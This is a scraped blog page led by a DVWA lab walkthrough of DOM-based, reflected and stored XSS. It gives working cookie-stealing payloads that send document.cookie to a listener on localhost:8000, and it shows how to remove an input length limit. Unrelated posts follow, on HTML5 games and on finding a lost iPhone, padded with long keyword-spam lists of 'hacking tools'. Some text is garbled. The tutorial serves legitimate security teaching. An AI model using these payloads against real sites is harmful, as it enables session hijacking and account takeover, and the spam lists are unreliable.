Saturday, August 29, 2020

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script>
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script>
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script>
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script>
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea>
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea>
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie />
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/

Read more


  1. Hacker Tools Online
  2. Hacks And Tools
  3. Hacking Tools For Games
  4. Hacking Tools Windows 10
  5. Hacking Tools For Games
  6. Pentest Reporting Tools
  7. Hacking Tools For Games
  8. Hacker Tools For Mac
  9. Hacker Tools Apk Download
  10. Pentest Tools For Mac
  11. Hacking Tools And Software
  12. Pentest Tools Bluekeep
  13. Pentest Tools For Ubuntu
  14. Pentest Reporting Tools
  15. Easy Hack Tools
  16. Hacker Tools Linux
  17. Underground Hacker Sites
  18. Pentest Reporting Tools
  19. Hak5 Tools
  20. Pentest Tools Open Source
  21. Best Hacking Tools 2019
  22. New Hack Tools
  23. Hacking Tools For Games
  24. Computer Hacker
  25. Pentest Box Tools Download
  26. Pentest Tools Framework
  27. Pentest Recon Tools
  28. Hacker Tools Linux
  29. Game Hacking
  30. Hack Tools Mac
  31. Hacking Tools Software
  32. Hacker Tools Online
  33. Pentest Tools For Ubuntu
  34. Hack Tools Mac
  35. Kik Hack Tools
  36. Pentest Tools For Android
  37. Hacking Tools For Pc
  38. Best Hacking Tools 2019
  39. Ethical Hacker Tools
  40. Hack Tools Online
  41. Hack Tools 2019
  42. Hacking Tools For Windows 7
  43. Hack Tools For Windows
  44. Kik Hack Tools
  45. Install Pentest Tools Ubuntu
  46. What Is Hacking Tools
  47. Hack Tools Github
  48. Pentest Box Tools Download
  49. Pentest Tools Download
  50. Pentest Reporting Tools
  51. Hacker Tools Apk Download
  52. Hacking Tools Online
  53. Best Hacking Tools 2020
  54. Hacking Tools For Pc
  55. Termux Hacking Tools 2019
  56. Hack Apps
  57. Pentest Tools Apk
  58. Hack App
  59. Pentest Tools Download
  60. Physical Pentest Tools
  61. Hacking Tools Software
  62. Pentest Tools Alternative
  63. Hacking Tools And Software
  64. Hack Website Online Tool
  65. Pentest Tools Bluekeep
  66. Game Hacking
  67. Free Pentest Tools For Windows
  68. How To Make Hacking Tools
  69. Hacker Tools 2020
  70. Tools 4 Hack
  71. Hacker Hardware Tools
  72. Hacks And Tools
  73. Hacker Tools Windows
  74. Pentest Tools For Ubuntu
  75. Hack Tools Pc
  76. New Hack Tools
  77. How To Make Hacking Tools
  78. Pentest Tools For Mac
  79. Pentest Tools Nmap
  80. Pentest Tools Framework

HTML5 Games On Android

On my last hollidays, I made two HTML5 games, and published on android market. Nowadays javascript has powerful libraries for doing almost everything, and also there are several compilers from java or c code to javascript, converting opengl c code to html5 canvas, but definitely, javascript execution is slower than dalvik applications, and of course much slower than arm c libs. For improving the speed of sounds and images loader, I have used javascript asynchronous execution and scheduling priority has been controlled with setTimeout/setInterval which deprioritize or priorize a code block. This games are published on the android market here: Android Planets and here: Far Planet

Related articles


  1. Hacker Tools For Ios
  2. Blackhat Hacker Tools
  3. Hacker Techniques Tools And Incident Handling
  4. Easy Hack Tools
  5. Hack Tools Mac
  6. Easy Hack Tools
  7. Hacking Tools For Pc
  8. Best Hacking Tools 2019
  9. Pentest Tools Find Subdomains
  10. Hacking Tools For Windows Free Download
  11. Pentest Tools For Windows
  12. Hacker Tools Apk Download
  13. Hack Tools
  14. Usb Pentest Tools
  15. Android Hack Tools Github
  16. Install Pentest Tools Ubuntu
  17. Hacker Hardware Tools
  18. Pentest Tools Review
  19. Tools For Hacker
  20. Hacking Tools And Software
  21. Hack Tools For Ubuntu
  22. Pentest Tools Port Scanner
  23. Hack Tools 2019
  24. Hak5 Tools
  25. Hacking Tools For Kali Linux
  26. Hack Tools For Mac
  27. Hacking Tools Free Download
  28. Pentest Tools Windows
  29. Hacker Tools Online
  30. Pentest Tools Online
  31. Easy Hack Tools
  32. Tools Used For Hacking
  33. Hacking Tools Pc
  34. Hack Tools Pc
  35. Hack Tools Download
  36. Pentest Tools Linux
  37. Hacking Tools
  38. Pentest Tools Free
  39. Best Pentesting Tools 2018
  40. Pentest Tools Alternative
  41. Hacking Tools For Games
  42. Hacking Tools 2020
  43. Hacking Tools
  44. Hacker Tool Kit
  45. What Is Hacking Tools
  46. Hacking Tools And Software
  47. Hacking Tools Windows 10
  48. Hak5 Tools
  49. Pentest Tools For Windows
  50. Pentest Tools Apk
  51. Pentest Tools For Ubuntu
  52. Pentest Tools Website
  53. Pentest Tools For Ubuntu
  54. What Is Hacking Tools
  55. Hacker Tools Github
  56. New Hack Tools
  57. Hacking Tools Name
  58. Hacking Tools Hardware
  59. Tools For Hacker
  60. Underground Hacker Sites
  61. Best Hacking Tools 2019
  62. Hack Tool Apk
  63. Hack Tools Pc
  64. Pentest Tools Port Scanner
  65. Kik Hack Tools
  66. Hacker Tools Hardware
  67. Easy Hack Tools
  68. Pentest Tools Online
  69. Hacker Tools For Mac
  70. Hacker Tools For Pc

Friday, August 28, 2020

How To Track Iphone Without Them Knowing

Few feelings are as stomach-sinkingly awful as the thought of losing an expensive new iPhone. Whether you left it on the bus or someone slid it out of your back pocket, we put so much store in our phones that their loss leaves is saddened and angered. Most of us keep at least copies of everything in our lives on our phones, from personal conversations to emails, 


To say nothing of all our personal information and social media accounts. Of course there are security measures in place, but nobody wants to risk having all that information fall into the hands of the wrong people. In this article, I will show you how to find a phone that has been lost, whether your own phone or the phone of a friend or family member.

Can you track an iPhone without them knowing?

First off, hopefully you activated the Find My Phone feature of your iPhone when you still had it in your possession. Secondly, if your phone doesn't have service (and thus a connection to the Internet) or if you don't have iCloud set up, then these solutions are not going to work for you. Unfortunately phone technology is advanced but it isn't magical; if your phone isn't talking to the network or if you haven't turned on Find My Phone, then unfortunately the technological solution is probably not going to work. (Seriously. If you have possession of your phone(s) then stop reading this article, pick up your devices, go to Settings and select "Find My Phone" (iPhone) or "Find My Device" (Android) and make sure they are toggled on. TTjem upi cam dp ot/"

Without further ado, let's find your phone!

Can I Tell if Someone is Tracking my iPhone?

 

image1-3

Usually yes, if someone is using the "Find my Phone" feature, it will be displaying things on the iPhone screen. Thankfully, "Find My iPhone" comes pre-loaded on all phones with iOs 9 or newer. "Find my iPhone" is the gold standard when it comes to locating your lost iPhone. The service is integrated as part of iCloud. Here's how to use it to find your missing iPhone then track down your phone's exact location.

Step 1: Open up the "Find My iPhone" on a different device

It doesn't matter if you decide to use your iPad, your laptop, or a friend's iPhone – you can run the Find My Phone app fr0m Mac. You can use the Find my Phone app.

If you are using an Apple product like another phone or an iPad, you can simply click on the app.

If you are using a computer (even a Windows PC will work), go to icloud.com then click on the "Find iPhone" icon. Once you've clicked on the "Find iPhone" icon the website process and "Find my iPhone" app process are the same.

Step 2: Input Your Apple ID Credentials (they are the same as your iCloud info)

Since you are not using your phone, you won't be automatically logged in.

Once you log in to the app, select the "All Devices" drop-down option and then find the device that you want to locate.

Step 3: Once You Select Your Phone, Options Will Appear

As soon as you select your device on the page, iCloud will begin to search for it. If the search is successful, you will see your device on a map, pinpointing it's location. Before you sprint out the door to get it, there are some other options you should take a look at.

Once you select your device you will have three additional options in addition to seeing your phone's location. These options are playing a sound, activating "Lost Mode" and erase the phone.

Playing the sound is a great way to find your phone if you lost it somewhere around your house. If you click the option, an audio alert will go off on your phone which will hopefully help you find it. The alert will sound like a loud pinging noise alerting you that your phone is at home with you and not at the coffee shop you just visited. If you hear the pinging sound then you'll quickly find your phone by just following the sound.

When enabled, Lost Mode will lock your phone with a passcode and will display a message of your choice. This can either ensure it will be safe until you can find it, or will alert the thief what you expect of them and that you know where they are. This mode can also enable location services on your phone too.

However, if things have gone too far and you think there is a very slim chance you will ever get your device back – perhaps your phone has already crossed an international border – the best course of action is to simply erase it. Yes, this is giving up, but it also prevents your personal information getting into the hands of someone who could abuse it.

If you follow these steps, you should have your phone back in your pocket in no time. 

Is there an app to track someones phone without them knowing?

maxresdefault-11

What if you're looking for someone else's phone? I'm sorry to burst your bubble, but you are not allowed to track someone else's phone without their knowledge. While there are supposedly apps that you can install on a target's phone to track it and keep tabs on what they are doing on it, that is completely illegal and immoral. In addition to the moral issue, there is the practical fact that they could find the app which could lead to a very awkward situation, possibly one involving the police.

However, there are times when you want to find a friend's phone and you have a legitimate reason, and (the important part) they have given you permission to find it. Just as when you were looking for your own phone, there is an app that can help you find the phones of your friends and family with ease. The "Find My Friends" app used to be an extra download, but now it comes with iOS, so if your friends have ever updated their phone, they should have it.

"Find My Friends" is an app that basically allows you to share your location with others and vice versa. It can be great for keeping track of where your kids are, knowing what your significant other is doing, or just keeping tabs on your friends. It can also help them find a lost phone (as long as you have "Shared Locations" with them). Here is how to set it up:

Step 1: Open the app on your phone and the phone of the person you want to be able to share locations with.

Step 2: Click your profile in the bottom left of the screen.

Step 3: Enable "Share My Location" and make sure AirDrop is enabled on your own phone.

Step 4: From there, your friends and family will be able to search/add you to share your location with them and vice versa. You each will need to accept the "Shared Location" request from the other. Now, you can just click on their profile in the app and keep track of them.

As you likely realized while reading this article, it is a much better idea to be proactive than reactive when it comes to tracking phones. If you set up "Find My iPhone" and "Find My Friends" before your phone gets stolen or lost, it will save you a lot of potential hassle down the road. While it may be a bit worrisome to have someone be able to see your location at all times, it can really save you once your phone goes missing and you need to track it down. It is obviously best to pick someone who you trust not to take advantage of the information an app like "Find My Friends" can provide them.

No one deserves to have their phone stolen or go missing, but thankfully, there are some ways to find it, or at least have the information deleted. Hopefully, this guide helped you be able to find your phone or the phone of your friends and family, or at least prepared you for when it may happen.

If you have other ways of finding a lost phone, please share them with us below!

@EVERYTHING NT

More articles


  1. Hack And Tools
  2. Tools 4 Hack
  3. Hacking Tools For Mac
  4. Pentest Tools Android
  5. Usb Pentest Tools
  6. Hacking Tools For Mac
  7. Pentest Reporting Tools
  8. Hack Tools For Mac
  9. Hacking Tools Windows 10
  10. Pentest Tools Android
  11. Hack Tools For Ubuntu
  12. Pentest Box Tools Download
  13. Pentest Tools Subdomain
  14. Termux Hacking Tools 2019
  15. Top Pentest Tools
  16. Hack Tools For Windows
  17. Hacking Tools Software
  18. Hackrf Tools
  19. Pentest Tools For Mac
  20. Hacking Tools Usb
  21. Pentest Automation Tools
  22. Hacker Tool Kit
  23. Github Hacking Tools
  24. Hacking Tools 2020
  25. Hack Tools For Mac
  26. Hack Tools
  27. How To Make Hacking Tools
  28. Physical Pentest Tools
  29. Best Pentesting Tools 2018
  30. Hacking Tools For Games
  31. Top Pentest Tools
  32. Hack Tools For Ubuntu
  33. Hacker Tools 2020
  34. Pentest Tools Website
  35. Hack Tools For Games
  36. Wifi Hacker Tools For Windows
  37. Hacking Tools Pc
  38. Pentest Tools For Windows
  39. Hacker Hardware Tools
  40. What Is Hacking Tools
  41. Pentest Tools Subdomain
  42. Hacker Tools Hardware
  43. Wifi Hacker Tools For Windows
  44. Hacker Tools List
  45. Hack Tools Download
  46. Hack And Tools
  47. Underground Hacker Sites
  48. Install Pentest Tools Ubuntu
  49. Hacking Tools And Software
  50. Hacker Tools 2019
  51. Pentest Tools Windows
  52. Hacking Tools Online
  53. Hack Tools For Mac
  54. Hacker Tools Free
  55. Hack Tools
  56. Hack Tools
  57. Pentest Box Tools Download
  58. Hacking Tools Github
  59. Hacker
  60. Pentest Tools Nmap
  61. Hacking Tools For Kali Linux
  62. Hack Tools For Mac
  63. Install Pentest Tools Ubuntu
  64. Hacking Tools Kit
  65. Hackers Toolbox
  66. Hacking Tools For Windows
  67. What Is Hacking Tools
  68. What Are Hacking Tools
  69. Hacker Tools Github
  70. Hack Tool Apk
  71. Pentest Tools For Android
  72. Hacking Tools Download
  73. Game Hacking
  74. Pentest Tools Linux
  75. Hack Tools Online
  76. Hacking Tools
  77. Hack Tools For Windows
  78. Hacker Hardware Tools
  79. New Hacker Tools
  80. Hacking Tools For Beginners
  81. Pentest Tools Linux
  82. How To Hack
  83. Pentest Automation Tools
  84. Github Hacking Tools
  85. Bluetooth Hacking Tools Kali
  86. Pentest Reporting Tools
  87. Best Pentesting Tools 2018
  88. Growth Hacker Tools
  89. Hacking Tools Pc
  90. Pentest Tools Review
  91. Growth Hacker Tools
  92. Hacker Security Tools
  93. Hacking Tools Pc
  94. Hacking Tools And Software
  95. Physical Pentest Tools
  96. Hacking Tools For Windows Free Download
  97. Pentest Tools Open Source
  98. Top Pentest Tools
  99. Hacker Tools Apk
  100. Best Hacking Tools 2019
  101. Android Hack Tools Github
  102. Hacking Tools Github
  103. Pentest Box Tools Download
  104. Pentest Tools Subdomain
  105. Hacking Tools For Pc
  106. Pentest Tools Kali Linux
  107. What Are Hacking Tools
  108. Pentest Tools Review
  109. Hack Tools Mac
  110. Hacking App
  111. Pentest Tools For Mac
  112. Pentest Tools Nmap
  113. How To Hack
  114. Nsa Hacker Tools
  115. Hacking App
  116. New Hacker Tools
  117. Termux Hacking Tools 2019
  118. Pentest Tools Alternative
  119. Best Hacking Tools 2019
  120. Hacker Tools
  121. Pentest Tools Review
  122. Hacking Tools For Windows 7
  123. Hack Apps
  124. Hacking Tools For Mac
  125. Hacker Tools Free
  126. Hacker Tools List
  127. Tools 4 Hack
  128. Pentest Tools For Mac
  129. Tools For Hacker
  130. Computer Hacker
  131. Pentest Automation Tools
  132. Tools For Hacker
  133. Hacking Tools For Windows 7
  134. Hacker
  135. Pentest Tools Tcp Port Scanner
  136. Pentest Tools Linux
  137. Hacker Tools For Mac
  138. Hack Tools For Games
  139. Underground Hacker Sites
  140. Pentest Tools Review
  141. Pentest Tools Android
  142. Hacking Tools Windows
  143. Hack Rom Tools
  144. Hacking Apps
  145. World No 1 Hacker Software
  146. Free Pentest Tools For Windows
  147. Hack App
  148. Hack Rom Tools
  149. Hacking Tools Hardware
  150. Pentest Tools Nmap
  151. How To Install Pentest Tools In Ubuntu
  152. Pentest Tools Free

WordPress 5.0.0 Crop-Image Shell Upload Exploit

Related word